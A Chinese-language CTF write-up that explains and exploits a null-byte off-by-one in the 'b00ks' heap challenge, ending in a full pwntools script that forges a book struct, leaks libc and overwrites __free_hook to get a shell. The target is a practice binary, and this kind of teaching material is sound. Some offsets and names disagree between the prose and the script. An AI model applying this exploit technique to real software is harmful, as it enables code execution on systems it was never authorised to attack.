题目介绍
题目是一个常见的菜单式程序,功能是一个图书管理系统。
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
题目提供了创建、删除、编辑、打印图书的功能。题目是 64 位程序,保护如下所示
Canary : No
NX : Yes
PIE : Yes
Fortify : No
RelRO : Full
程序每创建一个 book 会分配 0x20 字节的结构来维护它的信息
struct book
{
int id;
char *name;
char *description;
int size;
}
create
book 结构中存在 name 和 description,name 和 description 在堆上分配。首先分配 name buffer,使用 malloc。大小自定但小于 32.
printf("\nEnter book name size:", *(_QWORD *)&size);
__isoc99_scanf("%d", &size);
printf("Enter book name (Max 32 chars):", &size);
ptr = malloc(size);
之后分配 description,同样大小自定但无限制。
printf("\nEnter book description size:", *(_QWORD *)&size);
__isoc99_scanf("%d", &size);
v5 = malloc(size);
之后分配 book 结构的内存
book = malloc(0x20uLL);
if (book)
{*((_DWORD *)book + 6) = size;
*((_QWORD *)off_202010 + v2) = book;
*((_QWORD *)book + 2) = description;
*((_QWORD *)book + 1) = name;
*(_DWORD *)book = ++unk_202024;
return 0LL;
}
漏洞
程序编写的 read 函数存在 null byte off-by-one 漏洞,仔细观察这个 read 函数可以发现对于边界的考虑是不当的。
signed __int64 __fastcall my_read(_BYTE *ptr, int number)
{int i; // [rsp+14h] [rbp-Ch]
_BYTE *buf; // [rsp+18h] [rbp-8h]
if (number <= 0)
return 0LL;
buf = ptr;
for (i = 0; ; ++i)
{if ( (unsigned int)read(0, buf, 1uLL) != 1 )
return 1LL;
if (*buf == '\n')
break;
++buf;
if (i == number)
break;
}
*buf = 0; --》漏洞位置
return 0LL;
}
利用
创建两个 b00k
, 在first b00k
中伪造 b00k
进而控制 second b00k
的description
指针, 将该指针改为 __free_hook
, 修改second b00k
的description
为execve("/bin/sh")
, 最后free
泄露
因为程序中的 my_read 函数存在 null byte off-by-one,事实上 my_read 读入的结束符 ‘x00’ 是写入到 0x555555756060 的位置的。这样当 0x555555756060~0x555555756068 写入 book 指针时就会覆盖掉结束符 ‘x00’,所以这里是存在一个地址泄漏的漏洞。通过打印 author name 就可以获得 pointer array 中第一项的值。
books 位置
0x55865b7c9040: 0x4141414141414141 0x4141414141414141
0x55865b7c9050: 0x4141414141414141 0x4141414141414141 --> author
b00ks<--0x55865b7c9060: 0x000055865cc0d160(first book) 0x0000000000000000
null byte overflow
0x55865b7c9040: 0x4141414141414141 0x4141414141414141
0x55865b7c9050: 0x4141414141414141 0x4141414141414141
0x55865b7c9060: 0x000055865cc0d100(0x60-->0x00) 0x000055865cc0d190
1. 创建第一个 firest book
0x55f276c74160: 0x0000000000000001 0x000055f276c74020--> Name
0x55f276c74170: 0x000055f276c740c0(description) 0x000000000000008c(140)
当 0x55f276c74160 --> 0x55f276c74100
时, 0x55f276c74100
正好落在 first b00k
的description
中, 属于可控范围, 为我们伪造 b00k
打下了基础.
2. leak book1 addr
my_read 读入的结束符 ‘x00’ 会被写如 book1 时覆盖
所以 print author name 时 会泄露 book1 在 buf 的地址
3. 申请 book2
book2 的 description 的大小越大越好 (如 0x21000),这样会通过 mmap() 函数去分配堆空间,而该堆地址与 libc 的基址相关,这样通过泄露该堆地址可以计算出 libc 的基址。
4. 伪造 book
0x55f276c740c0: 0x4141414141414141 0x4141414141414141
0x55f276c740d0: 0x4141414141414141 0x4141414141414141
0x55f276c740e0: 0x4141414141414141 0x4141414141414141
0x55f276c740f0: 0x4141414141414141 0x4141414141414141
0x55f276c74100: 0x0000000000000001 0x000055f276c74198----
0x55f276c74110: 0x000055f276c74198 0x000000000000ffff |
...... |
0x55f276c74160: 0x0000000000000001 0x000055f276c74020 |
0x55f276c74170: 0x000055f276c740c0 0x000000000000008c |
0x55f276c74180: 0x0000000000000000 0x0000000000000031 |
0x55f276c74190: 0x0000000000000002 0x00007f282b8e7010 <-|
0x55f276c741a0: 0x00007f282b8c5010 0x0000000000021000
0x55f276c741b0: 0x0000000000000000 0x0000000000020e51
可以看到 0x55f276c74100
已经是fake b00k1
5. 空字节覆盖 leak book2 name pointer&libcbase
0x55f275d55040: 0x4141414141414141 0x4141414141414141
0x55f275d55050: 0x4141414141414141 0x4141414141414141
0x55f275d55060: 0x000055f276c74100 0x000055f276c74190
泄露的是 second b00k
的name pointer
和 description pointer
.
这个指针和 libc base address 是有直接联系的.
0x000055f276c73000 0x000055f276c95000 rw-p [heap]
0x00007f282b33e000 0x00007f282b4fe000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f282b4fe000 0x00007f282b6fe000 ---p /lib/x86_64-linux-gnu/libc-2.23.so
offset = 0x7f282b8e7010 - 0x00007f282b33e000 = 0x5a9010
结论: 通过伪造的b00k
, 我们泄露了 libc base address
.
**6. 获取相关指针
主要是两个
malloc_hook = libc.symbols['__free_hook'] + libcbase
execve_addr = libcbase + 0x4526a
结论: 通过 libc base address
, 退出了__free_hook
和execve_addr
在程序中的实际位置.
7. 修改 get shell
通过 first b00k
修改 second b00k
的description
指针为__free_hook
, 在修改 second b00k 的 description 内容为execve("/bin/sh", null, environ)
, 最后执行free
0x55f276c74190: 0x0000000000000002 0x00007f282b7047a8 --
0x55f276c741a0: 0x00007f282b7047a8 0x0000000000021000 |
...... |
0x7f282b7047a8 <__free_hook>: 0x00007f306ff4726a 0x0000000000000000
结论: 由于 __free_hook
里面的内容不为NULL
, 遂执行内容指向的指令, 即execve("/bin/sh", null, environ)
相关问题解答
为什么第二个 b00k 申请的空间那么大?
If we allocate a chunk bigger than the wilderness chunk, it mmap’s a new area for use. And this area is adjacent to the libc’s bss segment
简单的说, 申请小了不能够泄露出libc base address
exp
from pwn import *
#context.log_level = 'debug'
elf = ELF("./b00ks")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./b00ks")
def create_name(name):
p.sendlineafter("Enter author name:", name)
def create_book(size,name,des_size,des):
p.sendlineafter(">","1")
p.sendlineafter("\nEnter book name size:",str(size))
p.sendlineafter("Enter book name (Max 32 chars):",name)
p.sendlineafter("\nEnter book description size:", str(des_size))
p.sendlineafter("Enter book description:", des)
def delete_book(id):
p.sendlineafter(">", "2")
p.sendlineafter("Enter the book id you want to delete:", str(id))
def edit_book(id,new_des):
p.sendlineafter(">","3")
p.sendlineafter("Enter the book id you want to edit:", str(id))
p.sendlineafter("Enter new book description:", new_des)
def memleak2():
p.sendlineafter(">","4")
p.recvuntil("Name:")
msg=p.recvline().strip("\n")
msg=u64(msg.ljust(8, "\x00"))
log.success("Leaked address of second book name pointer :" + hex(msg))
return msg
def change_name(name):
p.sendlineafter(">","5")
p.sendlineafter("Enter author name:", name)
def memleak1():
p.recvuntil(">")
p.sendline("4")
p.recvuntil("Author:")
msg = p.recvuntil("\n",drop=True)[33:]
log.success("msg :"+msg)
addr = u64(msg.ljust(8, "\x00"))
log.success("Leaked address of first book :" + hex(addr))
return addr
create_name("a"*32)
create_book(140,"a",140,"a")
#leak book addr
first_addr = memleak1()
second_addr = first_addr + 0x38
log.success("second addr :" + hex(second_addr))
#create second book
create_book(0x21000,"a",0x21000,"a")
#fake first book
payload = "a"*0x40 + p64(1) + p64(second_addr)*2 + p64(0xffff)
edit_book(1,payload)
#null byte off-by-one
change_name("a"*32)
#leak second book pointer
sec_name_addr = memleak2()
libcbase = sec_name_addr - 0x5b0010
log.info("libcbase: %s" % hex(libcbase))
free_hook = libc.symbols['__free_hook'] + libcbase
log.success("free_hook :" + hex(free_hook))
execve_addr = libcbase + 0x45216
log.success("execve :" + hex(execve_addr))
#gdb.attach(p)
# getshell
system = libc.symbols['system'] + libcbase
binsh_addr = libc.search('/bin/sh').next() + libcbase
payload = p64(binsh_addr) + p64(free_hook)
edit_book(1, payload)
payload = p64(system)
edit_book(2, payload)
'''
edit_book(1,p64(free_hook)*2)
edit_book(2,p64(execve_addr))
'''
delete_book(2)
p.interactive()